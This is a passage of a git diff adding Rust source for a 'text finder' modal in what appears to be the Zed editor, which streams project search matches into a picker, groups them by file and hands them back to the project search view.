+            picker.delegate.focus_handle = picker_focus_handle.clone();
+            picker.delegate.hook_up_any_ongoing_search(picker_weak, cx);
+        });
+        let subscription = cx.subscribe(&picker, |_, _, _: &DismissEvent, cx| {
+            cx.emit(DismissEvent);
+        });
+
+        Self {
+            picker,
+            init_modifiers: window.modifiers().modified().then_some(window.modifiers()),
+            _subscription: subscription,
+        }
+    }
+
+    fn project_search_view(&self, cx: &mut App) -> Entity<ProjectSearchView> {
+        Entity::clone(&self.picker.read(cx).delegate.project_search_view)
+    }
+}
+
+fn remove_project_search_tab(
+    project_search_item_id: gpui::EntityId,
+    workspace: &mut Workspace,
+    window: &mut Window,
+    cx: &mut Context<'_, Workspace>,
+) {
+    if let Some(pane) = workspace.pane_for_item_id(project_search_item_id) {
+        pane.update(cx, |pane, cx| {
+            pane.remove_item(project_search_item_id, false, false, window, cx);
+        });
+    }
+}
+
+impl ModalView for TextFinder {
+    fn on_before_dismiss(
+        &mut self,
+        _window: &mut Window,
+        _cx: &mut Context<Self>,
+    ) -> DismissDecision {
+        DismissDecision::Dismiss(true)
+    }
+}
+
+impl EventEmitter<DismissEvent> for TextFinder {}
+
+impl Focusable for TextFinder {
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        self.picker.read(cx).focus_handle(cx)
+    }
+}
+
+#[derive(Clone)]
+pub struct SearchMatch {
+    pub path: ProjectPath,
+    pub buffer: Entity<Buffer>,
+    pub anchor_range: Range<Anchor>,
+    pub range: Range<usize>,
+    pub relative_range: Range<usize>,
+    pub line_text: String,
+    pub line_number: u32,
+}
diff --git a/crates/search/src/text_finder/delegate.rs b/crates/search/src/text_finder/delegate.rs
new file mode 100644
index 00000000000000..e0ecf2c6b6c494
--- /dev/null
+++ b/crates/search/src/text_finder/delegate.rs
@@ -0,0 +1,1136 @@
+//! The text_finder is a minimal modal interface to the project_search. It is
+//! targeted towards search for exploration. It can also be used as a filter
+//! step to the project_search.
+//!
+//! Basic interaction:
+//!
+//! ```txt
+//! Open text finder --- Open file ---> File tab
+//!
+//!                     (text_finder action)
+//! Open text finder --- ToProjectSearch ---> Project search tab
+//!
+//! Can also have a little loop where the user uses the ProjectSearch filters etc
+//! to refine the search:
+//!
+//!                     (project search tab)
+//!                  (removes tab, opens modal)
+//! Project search tab --- ToTextFinder ---> Text finder modal
+//!                             ^                  |
+//!                             |             ToProjectSearch (adds tab,
+//!                             |                  |          closes modal)
+//!                             |                  V
+//!                             . --------  Project search tab
+//! ```
+use std::ops::ControlFlow;
+use std::sync::Arc;
+use std::sync::atomic::{AtomicBool, Ordering};
+use std::{ops::Range, time::Duration};
+
+use collections::{HashMap, HashSet};
+use editor::{MultiBufferSnapshot, PathKey, multibuffer_context_lines};
+use file_icons::FileIcons;
+use futures::StreamExt;
+use gpui::{
+    AnyElement, AppContext, AsyncApp, DismissEvent, EntityId, HighlightStyle, StyledText, Task,
+    TextStyle, prelude::*,
+};
+use gpui::{Entity, FocusHandle};
+use language::{Buffer, LanguageAwareStyling};
+use picker::{Picker, PickerDelegate};
+use project::{Project, ProjectPath};
+use project::{SearchResults, search::SearchQuery, search::SearchResult};
+use settings::Settings;
+use smol::future::yield_now;
+use text::Anchor;
+use theme_settings::ThemeSettings;
+use ui::{
+    Divider, FluentBuilder, IconButtonShape, ListItem, ListItemSpacing, Toggleable, Tooltip,
+    prelude::*,
+};
+use util::ResultExt;
+use workspace::SplitDirection;
+use workspace::Workspace;
+use workspace::item::ItemSettings;
+
+use super::SearchMatch;
+use crate::project_search::{ActiveSettings, ProjectSearch};
+use crate::{ProjectSearchView, SearchOption, SearchOptions};
+
+pub struct Delegate {
+    pub(crate) project_search_view: Entity<ProjectSearchView>,
+    pub(crate) focus_handle: FocusHandle,
+    /// Flat list of every match, in result order. This is the canonical list
+    /// handed off to the project search; [`Self::entries`] is a grouped view
+    /// derived from it for rendering.
+    pub(crate) matches: Vec<SearchMatch>,
+    /// Display rows derived from [`Self::matches`]: a non-selectable header per
+    /// file, its matches, and separators between groups. Rebuilt via
+    /// [`Delegate::rebuild_entries`] whenever `matches` changes. `selected_index`
+    /// indexes into this list.
+    pub(crate) entries: Vec<Entry>,
+    pub(crate) selected_index: usize,
+    pub(crate) cancel_flag: Arc<AtomicBool>,
+    pub(crate) text_finder_turning_into_project_search: Arc<AtomicBool>,
+    pub(crate) last_selection_change_time: Option<std::time::Instant>,
+    pub(crate) last_click: Option<(usize, std::time::Instant)>,
+    pub(crate) search_options: SearchOptions,
+    /// Kept around for switching to project search
+    pub(crate) active_query: Option<SearchQuery>,
+    pub(crate) imported_from_project_search: bool,
+    /// When `is_ready` there is not a search in progress
+    pub(crate) in_progress_search: InProgressSearch,
+    pub(crate) unique_files: HashSet<ProjectPath>,
+    /// Largest line number across [`Self::matches`], used to size the line-number
+    /// column so every row's number right-aligns to the widest one. Recomputed in
+    /// [`Delegate::rebuild_entries`].
+    pub(crate) max_line_number: u32,
+}
+
+pub(crate) enum Entry {
+    Header(ProjectPath),
+    Match(usize),
+    Separator,
+}
+
+async fn get_ongoing_search(
+    project_search_view: &Entity<ProjectSearchView>,
+    cx: &mut AsyncApp,
+) -> Option<SearchResults<SearchResult>> {
+    let ongoing_search = project_search_view.update(cx, |view, cx| {
+        view.entity.update(cx, |search, _| {
+            search.pending_search.take().inspect(|_| {
+                search
+                    .project_search_turning_into_text_finder
+                    .store(true, Ordering::Relaxed);
+            })
+        })
+    })?;
+
+    ongoing_search.await
+}
+
+fn multibuffer_ranges_to_search_matches<'a>(
+    match_ranges: &'a [Range<multi_buffer::Anchor>],
+    multi_buffer: &'a editor::MultiBuffer,
+    snapshot: MultiBufferSnapshot,
+    cx: &'a App,
+) -> impl Iterator<Item = SearchMatch> + 'a {
+    match_ranges.iter().cloned().filter_map(move |mb_range| {
+        let (buffer_snapshot, text_range) =
+            snapshot.anchor_range_to_buffer_anchor_range(mb_range)?;
+
+        let file = buffer_snapshot.file()?;
+        let path = ProjectPath {
+            worktree_id: file.worktree_id(cx),
+            path: Arc::clone(file.path()),
+        };
+        let buffer = multi_buffer.buffer(buffer_snapshot.remote_id())?;
+
+        let start_offset: usize = buffer_snapshot.summary_for_anchor(&text_range.start);
+        let end_offset: usize = buffer_snapshot.summary_for_anchor(&text_range.end);
+        let line_number = buffer_snapshot.offset_to_point(start_offset).row + 1;
+
+        let text = buffer_snapshot.text();
+        let line_start = text[..start_offset].rfind('\n').map(|i| i + 1).unwrap_or(0);
+        let line_end = text[start_offset..]
+            .find('\n')
+            .map(|i| start_offset + i)
+            .unwrap_or(text.len());
+        let line_text = text[line_start..line_end].to_string();
+
+        let relative_start = start_offset - line_start;
+        let relative_end = end_offset - line_start;
+
+        Some(SearchMatch {
+            path,
+            buffer,
+            anchor_range: text_range,
+            range: start_offset..end_offset,
+            relative_range: relative_start..relative_end,
+            line_text,
+            line_number,
+        })
+    })
+}
+
+/// Stream the matches already sitting in the project search's multibuffer into
+/// the picker, a chunk at a time. Inverse of [`matches_to_multibuffer`].
+async fn stream_plunder_to_picker(
+    project_search_view: Entity<ProjectSearchView>,
+    cancel_flag: Arc<AtomicBool>,
+    picker: gpui::WeakEntity<Picker<Delegate>>,
+    cx: &mut AsyncApp,
+) {
+    let chunk_size = 1000;
+    let mut n_read = 0;
+
+    loop {
+        if cancel_flag.load(Ordering::SeqCst) {
+            return; // user cancelled or changed the query
+        }
+
+        let res = picker.update(cx, |picker, cx| {
+            let new_matches: Vec<SearchMatch> = {
+                let ps = project_search_view.read(cx).entity.read(cx);
+                let len = ps.match_ranges.len();
+                if n_read >= len {
+                    return ControlFlow::Break(());
+                }
+                let end = (n_read + chunk_size).min(len);
+                let chunk = &ps.match_ranges[n_read..end];
+                let multi_buffer = ps.excerpts.read(cx);
+                let snapshot = multi_buffer.snapshot(cx);
+                let matches =
+                    multibuffer_ranges_to_search_matches(chunk, multi_buffer, snapshot, cx)
+                        .collect();
+                n_read = end;
+                matches
+            };
+
+            let delegate = &mut picker.delegate;
+            delegate
+                .unique_files
+                .extend(new_matches.iter().map(|m| m.path.clone()));
+            delegate.matches.extend(new_matches);
+            delegate.rebuild_entries();
+            cx.notify();
+            ControlFlow::Continue(())
+        });
+
+        match res {
+            Ok(ControlFlow::Continue(())) => {}
+            Ok(ControlFlow::Break(())) | Err(_) => break,
+        }
+
+        // Critical or the search transformation will hold the background thread for too long
+        yield_now().await;
+    }
+}
+
+pub(crate) enum InProgressSearch {
+    Connected(Task<Option<SearchResults<SearchResult>>>),
+    Disconnected(SearchResults<SearchResult>),
+    None,
+}
+
+impl InProgressSearch {
+    /// If this is in disconnected state set it to None and return the search results
+    fn take_disconnected(&mut self) -> Option<SearchResults<SearchResult>> {
+        if matches!(self, InProgressSearch::Disconnected(_)) {
+            let mut placeholder = InProgressSearch::None;
+            std::mem::swap(self, &mut placeholder);
+            match placeholder {
+                InProgressSearch::Disconnected(results_stream) => return Some(results_stream),
+                _ => unreachable!("guarded with matches! above"),
+            }
+        } else {
+            None
+        }
+    }
+
+    /// If a search is currently streaming into the picker, take its task so it
+    /// can be awaited to recover the underlying result stream.
+    pub(crate) fn take_connected(&mut self) -> Option<Task<Option<SearchResults<SearchResult>>>> {
+        if matches!(self, InProgressSearch::Connected(_)) {
+            match std::mem::replace(self, InProgressSearch::None) {
+                InProgressSearch::Connected(task) => Some(task),
+                _ => unreachable!("guarded with matches! above"),
+            }
+        } else {
+            None
+        }
+    }
+}
+
+impl Delegate {
+    pub fn hook_up_any_ongoing_search(
+        &mut self,
+        picker: gpui::WeakEntity<Picker<Delegate>>,
+        cx: &App,
+    ) {
+        let cancel_flag = Arc::clone(&self.cancel_flag);
+        let text_finder_turning_into_project_search =
+            Arc::clone(&self.text_finder_turning_into_project_search);
+        let project_search_view = self.project_search_view.clone();
+        let ongoing = self.in_progress_search.take_disconnected();
+
+        self.in_progress_search = InProgressSearch::Connected(cx.spawn(async move |cx| {
+            stream_plunder_to_picker(project_search_view, cancel_flag.clone(), picker.clone(), cx)
+                .await;
+
+            if let Some(results_stream) = ongoing {
+                return stream_results_to_picker(
+                    cancel_flag,
+                    text_finder_turning_into_project_search,
+                    picker,
+                    results_stream,
+                    ImportedMatches::Yes,
+                    cx,
+                )
+                .await;
+            }
+            None
+        }));
+    }
+
+    pub fn new_from_project_search(
+        project_search: Entity<ProjectSearchView>,
+        cx: &mut AsyncApp,
+    ) -> Task<Delegate> {
+        cx.spawn(async move |cx| {
+            let ongoing = get_ongoing_search(&project_search, cx).await;
+
+            let in_progress_search = if let Some(results_stream) = ongoing {
+                InProgressSearch::Disconnected(results_stream)
+            } else {
+                InProgressSearch::None
+            };
+
+            let (search_options, active_query, has_existing_matches) =
+                cx.read_entity(&project_search, |ps, cx| {
+                    let entity = ps.entity.read(cx);
+                    (
+                        ps.search_options,
+                        entity.active_query.clone(),
+                        !entity.match_ranges.is_empty(),
+                    )
+                });
+
+            let imported_from_project_search =
+                has_existing_matches || !matches!(in_progress_search, InProgressSearch::None);
+
+            let this = cx.update(move |cx| Self {
+                project_search_view: project_search,
+                focus_handle: cx.focus_handle(),
+                matches: Vec::new(),
+                entries: Vec::new(),
+                selected_index: 0,
+                cancel_flag: Arc::new(AtomicBool::new(false)),
+                text_finder_turning_into_project_search: Arc::new(AtomicBool::new(false)),
+                last_selection_change_time: None,
+                last_click: None,
+                search_options,
+                active_query,
+                imported_from_project_search,
+                in_progress_search,
+                unique_files: HashSet::default(),
+                max_line_number: 0,
+            });
+
+            this
+        })
+    }
+
+    pub fn new(
+        workspace: &mut Workspace,
+        window: &mut Window,
+        cx: &mut Context<Workspace>,
+    ) -> Task<Self> {
+        let project = workspace.project().clone();
+        let weak_workspace = workspace.weak_handle();
+        let settings = cx
+            .global::<ActiveSettings>()
+            .0
+            .get(&project.downgrade())
+            .cloned();
+
+        let search = cx.new(|cx| ProjectSearch::new(project, cx));
+        let project_search =
+            cx.new(|cx| ProjectSearchView::new(weak_workspace, search, window, cx, settings));
+        cx.spawn(async move |_, cx| Self::new_from_project_search(project_search, cx).await)
+    }
+
+    pub(crate) fn project<'a>(&self, cx: &'a App) -> &'a Entity<Project> {
+        &self.project_search_view.read(cx).entity.read(cx).project
+    }
+
+    /// Rebuilds the grouped [`Self::entries`] display list from the flat
+    /// [`Self::matches`]. Matches arrive grouped per file (one search result
+    /// per buffer), so consecutive matches share a path; we emit one header per
+    /// group and a separator before every group after the first.
+    ///
+    /// Selection is preserved across rebuilds: if a match was selected it stays
+    /// selected at its new row, otherwise we snap to the first selectable row.
+    pub(crate) fn rebuild_entries(&mut self) {
+        let previously_selected_match = match self.entries.get(self.selected_index) {
+            Some(Entry::Match(match_index)) => Some(*match_index),
+            _ => None,
+        };
+
+        let mut entries = Vec::with_capacity(self.matches.len());
+        let mut last_path: Option<&ProjectPath> = None;
+        for (match_index, search_match) in self.matches.iter().enumerate() {
+            if last_path != Some(&search_match.path) {
+                if last_path.is_some() {
+                    entries.push(Entry::Separator);
+                }
+                entries.push(Entry::Header(search_match.path.clone()));
+                last_path = Some(&search_match.path);
+            }
+            entries.push(Entry::Match(match_index));
+        }
+        self.entries = entries;
+        self.max_line_number = self
+            .matches
+            .iter()
+            .map(|search_match| search_match.line_number)
+            .max()
+            .unwrap_or(0);
+
+        self.selected_index = previously_selected_match
+            .and_then(|match_index| {
+                self.entries
+                    .iter()
+                    .position(|entry| matches!(entry, Entry::Match(other) if *other == match_index))
+            })
+            .or_else(|| self.first_selectable_index())
+            .unwrap_or(0);
+    }
+
+    fn first_selectable_index(&self) -> Option<usize> {
+        self.entries
+            .iter()
+            .position(|entry| matches!(entry, Entry::Match(_)))
+    }
+
+    fn selected_search_match(&self) -> Option<&SearchMatch> {
+        match self.entries.get(self.selected_index)? {
+            Entry::Match(match_index) => self.matches.get(*match_index),
+            Entry::Header(_) | Entry::Separator => None,
+        }
+    }
+
+    /// Opens the selected match in a new split in `direction`, then dismisses.
+    pub(crate) fn open_in_split(
+        &mut self,
+        direction: SplitDirection,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) {
+        let Some(selected_match) = self.selected_search_match() else {
+            return;
+        };
+        let path = selected_match.path.clone();
+        let line_number = selected_match.line_number;
+        let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
+            return;
+        };
+        let open_task = workspace.update(cx, |workspace, cx| {
+            workspace.split_path_preview(path, false, Some(direction), window, cx)
+        });
+        let row = line_number.saturating_sub(1);
+        cx.spawn_in(window, async move |_, cx| {
+            let item = open_task.await.log_err()?;
+            if let Some(active_editor) = item.downcast::<editor::Editor>() {
+                active_editor
+                    .downgrade()
+                    .update_in(cx, |editor, window, cx| {
+                        editor.go_to_singleton_buffer_point(text::Point::new(row, 0), window, cx);
+                    })
+                    .log_err();
+            }
+            Some(())
+        })
+        .detach();
+        cx.emit(DismissEvent);
+    }
+}
+
+pub(crate) enum PopulateProjectSearch {
+    Completed,
+    SupersededByNewSearch,
+}
+
+/// Convert the picker's list of matches into multibuffer. Inverse of
+/// [`plunder_multibuffer`].
+pub(crate) async fn matches_to_multibuffer(
+    project_search_view: &Entity<ProjectSearchView>,
+    matches: &[SearchMatch],
+    cx: &mut AsyncApp,
+) -> PopulateProjectSearch {
+    let mut buffer_order_in_text_finder: Vec<EntityId> = Vec::new();
+    let mut by_buffer: HashMap<_, (_, Vec<_>)> = HashMap::default();
+
+    for m in matches {
+        let buffer = Entity::clone(&m.buffer);
+        by_buffer
+            .entry(buffer.entity_id())
+            .and_modify(|(_, ranges)| ranges.push(m.anchor_range.clone()))
+            .or_insert_with(|| {
+                buffer_order_in_text_finder.push(buffer.entity_id());
+                (buffer, vec![m.anchor_range.clone()])
+            });
+    }
+
+    let excerpts =
+        project_search_view.read_with(cx, |view, cx| view.entity.read(cx).excerpts.clone());
+    excerpts.update(cx, |excerpts, cx| excerpts.clear(cx));
+
+    // Every await point is a place where the user could type a search
+    // query in which case we gotta abort. Store the search id so we
+    // can check if that happened.
+    let search_id = project_search_view.update(cx, |view, cx| {
+        view.entity.update(cx, |search, _| {
+            search.match_ranges.clear();
+            search.search_id
+        })
+    });
+
+    let context_lines = cx.update(|cx| multibuffer_context_lines(cx));
+
+    let still_current = |cx: &mut AsyncApp| {
+        project_search_view.update(cx, |view, cx| view.entity.read(cx).search_id == search_id)
+    };
+
+    let mut excerpts_added = 0;
+    for buffer_id in buffer_order_in_text_finder {
+        if !still_current(cx) {
+            return PopulateProjectSearch::SupersededByNewSearch;
+        }
+        let (buffer, ranges) = by_buffer.remove(&buffer_id).expect("just put them in");
+        excerpts_added += ranges.len();
+        let new_ranges = excerpts
+            .update(cx, |excerpts, cx| {
+                excerpts.set_anchored_excerpts_for_path(
+                    PathKey::for_buffer(&buffer, cx),
+                    buffer,
+                    ranges,
+                    context_lines,
+                    cx,
+                )
+            })
+            .await;
+
+        if !still_current(cx) {
+            return PopulateProjectSearch::SupersededByNewSearch;
+        }
+        project_search_view.update(cx, |view, cx| {
+            view.entity.update(cx, |search, cx| {
+                search.match_ranges.extend(new_ranges);
+                cx.notify();
+            })
+        });
+
+        // Adding items to the multibuffer can take time. Be sure to not hold
+        // the foreground hostage.
+        if excerpts_added > 100 {
+            yield_now().await;
+            excerpts_added = 0;
+        }
+    }
+    PopulateProjectSearch::Completed
+}
+
+const SEARCH_DEBOUNCE_MS: u64 = 100;
+const CLICK_THRESHOLD_MS: u128 = 50;
+const DOUBLE_CLICK_THRESHOLD_MS: u128 = 300;
+const SEARCH_RESULTS_BATCH_SIZE: usize = 256;
+
+impl PickerDelegate for Delegate {
+    type ListItem = AnyElement;
+
+    fn name() -> &'static str {
+        "text finder"
+    }
+
+    fn placeholder_text(&self, _window: &mut Window, _cx: &mut App) -> Arc<str> {
+        "Search all files…".into()
+    }
+
+    fn searchbar_trailer(
+        &self,
+        _window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<AnyElement> {
+        let active = self.search_options;
+        let focus_handle = self.focus_handle.clone();
+        let picker = cx.entity();
+
+        let filter_buttons = [
+            SearchOption::CaseSensitive,
+            SearchOption::WholeWord,
+            SearchOption::Regex,
+            SearchOption::IncludeIgnored,
+        ]
+        .into_iter()
+        .map(|option| {
+            let options = option.as_options();
+            let action = option.to_toggle_action();
+            let label = option.label();
+            let focus_handle = focus_handle.clone();
+            let picker = picker.clone();
+            IconButton::new(
+                ("text-finder-search-option", option as usize),
+                option.icon(),
+            )
+            .icon_size(IconSize::Small)
+            .shape(IconButtonShape::Square)
+            .toggle_state(active.contains(options))
+            .tooltip(move |_window, cx| Tooltip::for_action_in(label, action, &focus_handle, cx))
+            .on_click(move |_, window, cx| {
+                picker.update(cx, |picker, cx| {
+                    picker.delegate.search_options.toggle(options);
+                    picker.refresh(window, cx);
+                });
+            })
+        });
+
+        Some(
+            h_flex()
+                .gap_1()
+                .children(filter_buttons)
+                .children(picker::parts::project_scan_indicator(
+                    self.active_query.is_some(),
+                    self.project(cx),
+                    cx,
+                ))
+                .into_any_element(),
+        )
+    }
+
+    fn actions_menu(
+        &self,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) -> Vec<picker::PickerAction> {
+        use gpui::Action as _;
+        vec![
+            picker::PickerAction::header("Split…"),
+            picker::PickerAction::button(
+                "Left",
+                workspace::pane::SplitLeft::default().boxed_clone(),
+            ),
+            picker::PickerAction::button(
+                "Right",
+                workspace::pane::SplitRight::default().boxed_clone(),
+            ),
+            picker::PickerAction::button("Up", workspace::pane::SplitUp::default().boxed_clone()),
+            picker::PickerAction::button(
+                "Down",
+                workspace::pane::SplitDown::default().boxed_clone(),
+            ),
+            picker::PickerAction::separator(),
+            picker::PickerAction::button("Open File", menu::Confirm.boxed_clone()),
+            picker::PickerAction::button("To project search", super::ToProjectSearch.boxed_clone()),
+        ]
+    }
+
+    fn match_count(&self) -> usize {
+        self.entries.len()
+    }
+
+    fn can_select(&self, ix: usize, _window: &mut Window, _cx: &mut Context<Picker<Self>>) -> bool {
+        matches!(self.entries.get(ix), Some(Entry::Match(_)))
+    }
+
+    fn selected_index(&self) -> usize {
+        self.selected_index
+    }
+
+    fn select_on_hover(&self) -> bool {
+        false
+    }
+
+    fn set_selected_index(
+        &mut self,
+        ix: usize,
+        _window: &mut Window,
+        _cx: &mut Context<Picker<Self>>,
+    ) {
+        self.selected_index = ix;
+        self.last_selection_change_time = Some(std::time::Instant::now());
+    }
+
+    fn update_matches(
+        &mut self,
+        query: String,
+        window: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Task<()> {
+        self.cancel_flag
+            .store(true, std::sync::atomic::Ordering::SeqCst);
+        self.cancel_flag = Arc::new(AtomicBool::new(false));
+
+        let cancel_flag = Arc::clone(&self.cancel_flag);
+        let text_finder_turning_into_project_search =
+            Arc::clone(&self.text_finder_turning_into_project_search);
+
+        // The picker runs `update_matches("")` once on open. When the text
+        // finder was opened from an existing project search, the query editor is
+        // empty but we have already plundered that search's matches. Preserve
+        // them on that first call, otherwise the modal would show up empty.
+        let imported_from_project_search = std::mem::take(&mut self.imported_from_project_search);
+
+        let Some(search_query) = self.build_search_query(&query, cx) else {
+            if query.is_empty() && imported_from_project_search {
+                return Task::ready(());
+            }
+            self.matches.clear();
+            self.entries.clear();
+            self.unique_files.clear();
+            self.selected_index = 0;
+            self.active_query = None;
+            cx.notify();
+            return Task::ready(());
+        };
+
+        // Remember the exact query we are running so that a later switch to the
+        // project search hands over a query consistent with the results.
+        self.active_query = Some(search_query.clone());
+
+        let search_results = self.project_search_view.update(cx, |ps, cx| {
+            ps.entity.update(cx, |pr, cx| {
+                pr.project.update(cx, |p, cx| p.search(search_query, cx))
+            })
+        });
+
+        let (signal_done, match_updating_done) = futures::channel::oneshot::channel();
+        self.in_progress_search =
+            InProgressSearch::Connected(cx.spawn_in(window, async move |picker, cx| {
+                cx.background_executor()
+                    .timer(Duration::from_millis(SEARCH_DEBOUNCE_MS))
+                    .await;
+
+                if cancel_flag.load(std::sync::atomic::Ordering::SeqCst) {
+                    return None;
+                }
+
+                let res = stream_results_to_picker(
+                    cancel_flag,
+                    text_finder_turning_into_project_search,
+                    picker,
+                    search_results,
+                    ImportedMatches::No,
+                    cx,
+                )
+                .await;
+
+                // We must own the search task so we can take out the search
+                // result stream in case we are transforming into project
+                // search. The picker relies on the task returned
+                // `PickerDelegate::update_matches` to detect when we are done
+                // updating. So we have a placeholder task that completes when
+                // this signal is send.
+                let _ = signal_done.send(());
+                res
+            }));
+
+        cx.notify();
+        cx.spawn(async move |_, _| {
+            let _ = match_updating_done.await;
+        })
+    }
+
+    fn confirm(&mut self, _: bool, window: &mut Window, cx: &mut Context<Picker<Self>>) {
+        // Clicks (set_selected_index called immediately before confirm) require double-click.
+        // Enter key proceeds immediately.
+        let now = std::time::Instant::now();
+        let is_click = self
+            .last_selection_change_time
+            .map(|t| now.duration_since(t).as_millis() < CLICK_THRESHOLD_MS)
+            .unwrap_or(false);
+
+        if is_click {
+            let is_double_click = self
+                .last_click
+                .map(|(ix, t)| {
+                    ix == self.selected_index
+                        && now.duration_since(t).as_millis() < DOUBLE_CLICK_THRESHOLD_MS
+                })
+                .unwrap_or(false);
+            self.last_click = Some((self.selected_index, now));
+
+            if !is_double_click {
+                cx.focus_self(window);
+                return;
+            }
+        }
+
+        let Some(selected_match) = self.selected_search_match() else {
+            return;
+        };
+
+        let path = selected_match.path.clone();
+        let line_number = selected_match.line_number;
+
+        let Some(workspace) = self.project_search_view.read(cx).workspace.upgrade() else {
+            return;
+        };
+
+        let open_task = workspace.update(cx, |workspace, cx| {
+            workspace.open_path_preview(path, None, true, false, true, window, cx)
+        });
+
+        let row = line_number.saturating_sub(1);
+        cx.spawn_in(window, async move |_, cx| {
+            let item = open_task.await.log_err()?;
+            if let Some(active_editor) = item.downcast::<editor::Editor>() {
+                active_editor
+                    .downgrade()
+                    .update_in(cx, |editor, window, cx| {
+                        editor.go_to_singleton_buffer_point(text::Point::new(row, 0), window, cx);
+                    })
+                    .log_err();
+            }
+            Some(())
+        })
+        .detach();
+
+        cx.emit(DismissEvent);
+    }
+
+    fn dismissed(&mut self, _window: &mut Window, cx: &mut Context<Picker<Self>>) {
+        cx.emit(DismissEvent);
+    }
+
+    fn try_get_preview_data_for_match(&self, _cx: &App) -> Option<picker::PreviewUpdate> {
+        let m = self.selected_search_match()?;
+        Some(picker::PreviewUpdate::from_buffer(
+            m.buffer.clone(),
+            picker::MatchLocation {
+                anchor_range: m.anchor_range.clone(),
+                range: m.range.clone(),
+            },
+        ))
+    }
+
+    fn render_match(
+        &self,
+        ix: usize,
+        selected: bool,
+        _: &mut Window,
+        cx: &mut Context<Picker<Self>>,
+    ) -> Option<Self::ListItem> {
+        match self.entries.get(ix)? {
+            Entry::Separator => Some(
+                div()
+                    .py(DynamicSpacing::Base04.rems(cx))
+                    .child(Divider::horizontal())
+                    .into_any_element(),
+            ),
+            Entry::Header(path) => {
+                let path_style = self.project(cx).read(cx).path_style(cx);
+                let file_name = path
+                    .path
+                    .file_name()
+                    .map(|name| name.to_string())
+                    .unwrap_or_default();
+                let directory = path
+                    .path
+                    .parent()
+                    .map(|parent| parent.display(path_style))
+                    .map(SharedString::new)
+                    .unwrap_or_default();
+                let file_icon = ItemSettings::get_global(cx)
+                    .file_icons
+                    .then(|| FileIcons::get_icon(path.path.as_std_path(), cx))
+                    .flatten()
+                    .map(|icon| {
+                        Icon::from_path(icon)
+                            .color(Color::Muted)
+                            .size(IconSize::Small)
+                    });
+
+                Some(
+                    h_flex()
+                        .w_full()
+                        .min_w_0()
+                        .px(DynamicSpacing::Base06.rems(cx))
+                        .py_1()
+                        .gap_1p5()
+                        .children(file_icon)
+                        .child(
+                            h_flex()
+                                .gap_1()
+                                .child(Label::new(file_name).size(LabelSize::Small))
+                                .when(!directory.is_empty(), |this| {
+                                    this.child(
+                                        Label::new(directory)
+                                            .size(LabelSize::Small)
+                                            .color(Color::Muted)
+                                            .truncate_start(),
+                                    )
+                                }),
+                        )
+                        .into_any_element(),
+                )
+            }
+            Entry::Match(match_index) => {
+                let search_match = self.matches.get(*match_index)?;
+                Some(
+                    ListItem::new(ix)
+                        .spacing(ListItemSpacing::Sparse)
+                        .inset(true)
+                        .toggle_state(selected)
+                        .child(
+                            h_flex()
+                                .w_full()
+                                .min_w_0()
+                                .gap_2p5()
+                                .text_sm()
+                                .child(
+                                    h_flex()
+                                        .w(rems(
+                                            (self.max_line_number.max(1).ilog10() + 1) as f32 * 0.5,
+                                        ))
+                                        .justify_end()
+                                        .child(
+                                            Label::new(search_match.line_number.to_string()).color(
+                                                Color::Custom(
+                                                    cx.theme().colors().text_muted.opacity(0.5),
+                                                ),
+                                            ),
+                                        ),
+                                )
+                                .child(
+                                    div()
+                                        .flex_1()
+                                        .min_w_0()
+                                        .truncate()
+                                        .child(render_matched_line(search_match, cx)),
+                                ),
+                        )
+                        .into_any_element(),
+                )
+            }
+        }
+    }
+}
+
+enum ImportedMatches {
+    No,
+    Yes,
+}
+
+async fn stream_results_to_picker(
+    cancel_flag: Arc<AtomicBool>,
+    text_finder_turning_into_project_search: Arc<AtomicBool>,
+    picker: gpui::WeakEntity<Picker<Delegate>>,
+    search_results: SearchResults<SearchResult>,
+    imported_matches: ImportedMatches,
+    cx: &mut AsyncApp,
+) -> Option<SearchResults<SearchResult>> {
+    let mut results_stream = std::pin::pin!(
+        search_results
+            .rx
+            .clone()
+            .ready_chunks(SEARCH_RESULTS_BATCH_SIZE)
+    );
+
+    let mut clear_existing = matches!(imported_matches, ImportedMatches::No);
+    while let Some(results) = results_stream.next().await {
+        if cancel_flag.load(std::sync::atomic::Ordering::SeqCst) {
+            break;
+        }
+
+        let mut batch_matches = Vec::new();
+        let mut limit_reached = false;
+
+        for result in results {
+            match result {
+                SearchResult::Buffer { buffer, ranges } => {
+                    let matches = Delegate::process_search_result(&buffer, &ranges, cx);
+                    batch_matches.extend(matches);
+                }
+                SearchResult::LimitReached => {
+                    limit_reached = true;
+                }
+                SearchResult::WaitingForScan | SearchResult::Searching => {}
+            }
+        }
+
+        picker
+            .update(cx, |picker, cx| {
+                let delegate = &mut picker.delegate;
+
+                if clear_existing {
+                    delegate.matches.clear();
+                    delegate.entries.clear();
+                    delegate.unique_files.clear();
+                    delegate.selected_index = 0;
+                    clear_existing = false;
+                }
+
+                delegate
+                    .unique_files
+                    .extend(batch_matches.iter().map(|m| &m.path).cloned());
+                delegate.matches.extend(batch_matches);
+                // Rebuild the grouped view and resnap the selection onto a
+                // selectable row (the header/separator rows are not selectable).
+                delegate.rebuild_entries();
+
+                cx.notify();
+            })
+            .log_err();
+
+        if limit_reached {
+            break;
+        }
+
+        // Note the difference with the cancel flag. We need the results to be
+        // processed before taking out the search result stream. The cancel flag
+        // just needs to stop the search.
+        if text_finder_turning_into_project_search.load(Ordering::Relaxed) {
+            return Some(search_results);
+        }
+
+        smol::future::yield_now().await;
+    }
+    None
+}
+
+/// Renders the matched source line with syntax highlighting, overlaying the
+/// search match with a highlighted background and bold weight.
+fn render_matched_line(search_match: &SearchMatch, cx: &App) -> StyledText {
+    let settings = ThemeSettings::get_global(cx);
+    let text_style = TextStyle {
+        color: cx.theme().colors().text,
+        font_family: settings.buffer_font.family.clone(),
+        font_features: settings.buffer_font.features.clone(),
+        font_fallbacks: settings.buffer_font.fallbacks.clone(),
+        font_size: settings.buffer_font_size(cx).into(),
+        font_weight: settings.buffer_font.weight,
+        line_height: relative(1.),
+        ..Default::default()
+    };
+    let original_line = &search_match.line_text;
+    let line_text = original_line.trim_start();
+    let trim_offset = original_line.len() - line_text.len();
+
+    let search_match_style = HighlightStyle {
+        background_color: Some(cx.theme().colors().search_match_background),
